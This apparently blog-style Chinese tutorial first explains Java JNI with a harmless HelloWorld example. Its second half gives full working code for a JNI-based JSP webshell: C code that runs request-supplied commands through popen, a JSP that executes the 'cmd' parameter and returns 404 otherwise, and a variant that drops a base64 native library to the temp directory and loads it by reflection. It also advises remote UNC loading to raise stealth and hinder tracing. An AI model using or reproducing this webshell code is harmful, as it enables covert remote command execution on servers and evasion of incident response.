一、Java JNI簡介
0x1:JNI是什麼
JNI (Java Native Interface,Java本地接口)是一種編程框架,使得Java虛擬機中的Java程序可以調用本地應用/或庫,也可以被其他程序調用。 本地程序一般是用其它語言(C、C++或彙編語言等)編寫的,並且被編譯爲基於本機硬件和操作系統的程序。
0x2:爲什麼需要JNI
- Java標準庫不支持的平臺相關功能或者程序庫,當然,也有各種高性能的程序,以及平臺相關的API實現,允許所有Java應用程序安全並且平臺獨立地使用這些功能。
- 平臺相關的功能,通常是爲了追求性能,需要對Java虛擬機進行擴展,需要使用Native的實現。
- Java的.class文件安全性較差,增加安全性,將重要的邏輯在Native代碼中實現。
二、編寫一個HelloWorld JNI程序
0x1:需求
在Java中調用Native方法,Native方法輸出Hello JNI。
0x2:開發過程
調用JNI接口的步驟:
- 編寫Java代碼,註明要訪問的本地動態連接庫和本地方法
- 編譯Java代碼得到.class文件
- 使用javah生成該類對應的.h文件
- 使用C++實現函數功能,編譯生成dll
- 通過Java調用dll
1、準備Java側代碼
package org.example; public class HelloWorld { static { System.loadLibrary("hello"); } public native void sayHello(); public static void main(String[] args) { new HelloWorld().sayHello(); } }
首先,定義了一個Hello類。
接下來,其中的static代碼塊是JVM在加載類時執行的,System.loadLibrary()表明需要加載動態庫hello,在不同的系統平臺上對應不同的名字,
- 在Windows平臺上查找的是hello.dll
- 在Linux平臺上查找的是libhello.so
- 在MacOS平臺上查找的是libhello.dylib
這個庫應該被放在Java庫的搜索路徑中,可以通過-Djava.library.path=/path/to/lib將其加入到搜索路徑中。如果路徑下沒有找到要導入的庫,會在拋出UnsatisfiedLinkError錯誤。
然後,聲明瞭sayHello的native方法,通過native關鍵字來表明這個方法的實現不在Java中。它的實現應該在hello庫中。
最後是我們的測試程序主入口,調用native方法sayHello()。
2、生成頭文件
首先,編譯Java程序,生成HelloWorld.class。
打開idea的Terminal窗口輸入:
javah -d ./jni -cp target/classes org.example.HelloWorld
就在當前項目下新建了一個jni文件夾,生成了對應的.h頭文件。
包含的頭文件jni.h,它是JDK提供的,位於<JAVA_HOME>/include目錄中,具體的路徑和平臺相關:
- <JAVA_HOME>/include/win32
- <JAVA_HOME>/include/linux
- <JAVA_HOME>/include/darwin
這個頭文件聲明根據Java中的聲明的native方法,生成了一個C函數的聲明Java_org_example_HelloWorld_sayHello:
/* * Class: org_example_HelloWorld * Method: sayHello * Signature: ()V */ JNIEXPORT void JNICALL Java_org_example_HelloWorld_sayHello (JNIEnv *, jobject);
Java中的native方法到C函數的命名規則爲:
Java_{package_and_classname}_{function_name}();
所有方法以Java_開頭,接着是包名和類名,以_替換.,最後是方法名。
在Java中sayHello是沒有參數的方法,但是在生成的C函數聲明中有兩個參數,它們是每個方法都會傳遞的參數,分別爲:
- JNIEnv*,指向JNI環境的指針,通過它可以使用JNI協議提供的接口(函數)
- jobject,指向this的指針,用於獲取類相關的信息(變量、方法等)
對於JNIEXPORT和JNICALL兩個宏,用於設置函數可見性,以及調用棧約定,這裏可以忽略這兩個宏。
3、實現native方法
在jni目錄下新建hello.c文件,實現函數Java_org_example_HelloWorld_sayHello(),
#include "org_example_HelloWorld.h" #include <jni.h> #include <stdio.h> JNIEXPORT void JNICALL Java_org_example_HelloWorld_sayHello (JNIEnv *env, jobject obj) { printf("Hello JNI!\n"); }
4、編譯.c文件
gcc -shared -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include/darwin hello.c -o libhello.dylib gcc -shared -I$JAVA_HOME/include -I$JAVA_HOME/include/darwin hello.c -o libhello.dylib
編譯生成.dylib庫文件。
5、運行Java程序
java -Djava.library.path=/Users/zhenghan/Projects/JNI_test/jni/ org.example.HelloWorld
6、使用C++實現
相比較於C的實現,C++區別不大,將實現的文件由Hello.c命名爲Hello.cc,內容爲:
#include "org_example_HelloWorld.h" #include <jni.h> #include <iostream> JNIEXPORT void JNICALL Java_org_example_HelloWorld_sayHello (JNIEnv *env, jobject obj) { std::cout << "Hello JNI from C++!" << std::endl; }
編譯:
g++ -shared -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include/darwin hello.cc -o libhello.dylib
其他步驟與C的實現一致。
參考鏈接:
https://blog.csdn.net/pengmaoming/article/details/80167295 https://blog.csdn.net/furzoom/article/details/113730538 https://blog.csdn.net/createchance/article/details/53783490
三、基於Java JNI實現Webshell
假設我們要實現的jsp webshell名爲:test.jsp。
由於jni技術需要先通過javah將.class文件生成.h開頭的.c頭文件,又因爲jsp是一種特殊的class文件,jsp經過Tomcat編譯爲class文件,命名遵從:
test.jsp ->> org.apache.jsp.test_jsp.class
所以我們需要新建package爲org.apache.jsp,類名爲test_jsp的.java文件。
package org.apache.jsp; public class test_jsp { class JniClass { public native String exec( String string ); } }
Tomcat環境下,需要遵循以下限制條件:
- 固定包名格式爲org.apache.jsp
- java文件名稱需要固定格式:***_jsp,並且後面的jsp文件名稱需要同其保持一致。例如tes_jsp.java,那麼最終jsp的文件名稱需要命名爲test.jsp
- 類名不需要限定爲JniClass,可以任意
編譯Java代碼得到.class文件,生成test_jsp.class、test_jsp$JniClass.class,
使用javah指令生成.h文件,打開idea的Terminal窗口輸入:
javah -d ./jni -cp target/classes org.apache.jsp.test_jsp$JniClass
生成org_apache_jsp_test_jsp_JniClass.h文件,
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class org_apache_jsp_test_jsp_JniClass */ #ifndef _Included_org_apache_jsp_test_jsp_JniClass #define _Included_org_apache_jsp_test_jsp_JniClass #ifdef __cplusplus extern "C" { #endif /* * Class: org_apache_jsp_test_jsp_JniClass * Method: exec * Signature: (Ljava/lang/String;)Ljava/lang/String; */ JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec (JNIEnv *, jobject, jstring); #ifdef __cplusplus } #endif #endif
編寫包含指令執行回顯的C代碼,並引入上一步生成的.h文件,
#include "org_apache_jsp_test_jsp_JniClass.h" #include <jni.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> int execmd(const char *cmd, char *result) { char buffer[1024*12]; //定義緩衝區 FILE *pipe = popen(cmd, "r"); //打開管道,並執行命令 if (!pipe) return 0; //返回0表示運行失敗 while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { //將管道輸出到result中 strcat(result, buffer); } } pclose(pipe); //關閉管道 return 1; //返回1表示運行成功 } JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr) { const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; //定義存放結果的字符串數組 if (1 == execmd(cstr, result)) { //printf(result); } char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult; }
使用gcc將該c源碼編譯爲dll、so或者lib(注意jdk版本要與目標機器的jdk保持一致),
gcc -shared -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include/darwin jsp_exec_jni.c -o libexec.dylib
接下來,具體在jsp load時有兩種思路,
- 一種是將該jsp文件和該dll放置於服務器的本地路徑,jsp的代碼裏指定dll的絕對路徑\相對路徑
- 一種是使用unc路徑,這樣惡意dll通過遠程部署,加強隱蔽程度,加大溯源難度、提高部署靈活度
<%! class JniClass { public native String exec(String string); public JniClass() { System.load("/Users/zhenghan/Projects/JNI_test/jni/libexec.dylib"); } } %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { JniClass a = new JniClass(); String res = a.exec(cmd); out.println(res); } else{ response.sendError(404); } %>
有幾個注意點:
- jsp文件名稱需要同之前的java文件保持一致。
- 對於linux|mac環境,上一步生成的java內部類叫做JniClass,在類unix平臺下,加載的庫名需要爲lib開頭+JniClass+jnilib或者dylib。
- jni載荷的c、c++實現的代碼要具備健壯性,避免目標環境的jvm奔潰。
還有另外一種jsp利用思路,就是將jni庫代碼寫在jsp代碼中,然後通過jsp動態寫入磁盤上,並在jsp中通過system.load動態加載jni庫文件,
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.File" %> <%@ page import="java.io.FileOutputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Method" %> <%-- load_library_cmd_all.jsp?cmd=ls --%> <%-- 通過JNI的方式調用動態鏈接庫, 反射調用 ClassLoader 的 loadLibrary0 方法進行加載 --%> <%! private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution"; /** * JDK1.5編譯的com.anbai.sec.cmd.CommandExecution類字節碼, * 只有一個public static native String exec(String cmd);的方法 */ private static final byte[] COMMAND_CLASS_BYTES = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67, 111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1, 9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11 }; /** * 獲取JNI鏈接庫目錄 * @return 返回緩存JNI的臨時目錄 */ File getTempJNILibFile() { File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib"); if (!jniDir.exists()) { jniDir.mkdir(); } String filename; if (isWin()) { filename = "cmd.dll"; } else { if (isMac()) { filename = "libcmd.lib"; } else { filename = "libcmd.so"; } } return new File(jniDir, filename); } boolean isWin() { return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win")); } boolean isWin32() { return "32".equals(System.getProperty("sun.arch.data.model")); } boolean isMac() { return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac")); } /** * 高版本JDKsun.misc.BASE64Decoder已經被移除,低版本JDK又沒有java.util.Base64對象, * 所以還不如直接反射自動找這兩個類,哪個存在就用那個decode。 * @param str * @return */ byte[] base64Decode(String str) { try { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (ClassNotFoundException e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } catch (Exception e) { return null; } } /** * 寫JNI鏈接庫文件 * @param base64 JNI動態庫Base64 * @return 返回是否寫入成功 */ void writeJNILibFile(String base64) throws IOException { if (base64 != null) { File jniFile = getTempJNILibFile(); if (!jniFile.exists()) { byte[] bytes = base64Decode(base64); if (bytes != null) { FileOutputStream fos = new FileOutputStream(jniFile); fos.write(bytes); fos.flush(); fos.close(); } } } } %> <% String cmd = request.getParameter("cmd"); String jniBytes = request.getParameter("jni"); String COMMAND_JNI_FILE_BYTES; if (isWin()) { if (isWin32()) { // windows 32 COMMAND_JNI_FILE_BYTES = "省略具體的Base64編碼信息,請參考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp"; } else { // windows 64 COMMAND_JNI_FILE_BYTES = "省略具體的Base64編碼信息,請參考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp"; } } else { if (isMac()) { // mac COMMAND_JNI_FILE_BYTES = "省略具體的Base64編碼信息,請參考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp"; } else { // centos 7 64 COMMAND_JNI_FILE_BYTES = "省略具體的Base64編碼信息,請參考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp"; } } // JNI路徑 File jniFile = getTempJNILibFile(); ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__"); if (loader == null) { loader = new ClassLoader(this.getClass().getClassLoader()) { @Override protected Class<?> findClass(String name) throws ClassNotFoundException { try { return super.findClass(name); } catch (ClassNotFoundException e) { return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length); } } }; writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 寫JNI文件到臨時文件目錄 application.setAttribute("__LOADER__", loader); } try { // load命令執行類 Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution"); Object loadLib = application.getAttribute("__LOAD_LIB__"); if (loadLib == null || !((Boolean) loadLib)) { Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class); loadLibrary0Method.setAccessible(true); loadLibrary0Method.invoke(loader, commandClass, jniFile); application.setAttribute("__LOAD_LIB__", true); } String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd); out.println("<pre>"); out.println(content); out.println("</pre>"); } catch (Exception e) { out.println(e.toString()); throw e; } %>
參考鏈接:
https://www.javasec.org/java-vuls/JNI.html https://blog.csdn.net/weixin_47208161/article/details/106527583 https://www.cnblogs.com/interdrp/p/5012185.html https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87JNI%E5%8A%A0%E8%BD%BDdll https://raw.githubusercontent.com/javaweb-sec/javaweb-sec/master/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp https://zhuanlan.zhihu.com/p/125477850 https://www.javasec.org/java-vuls/JNI.html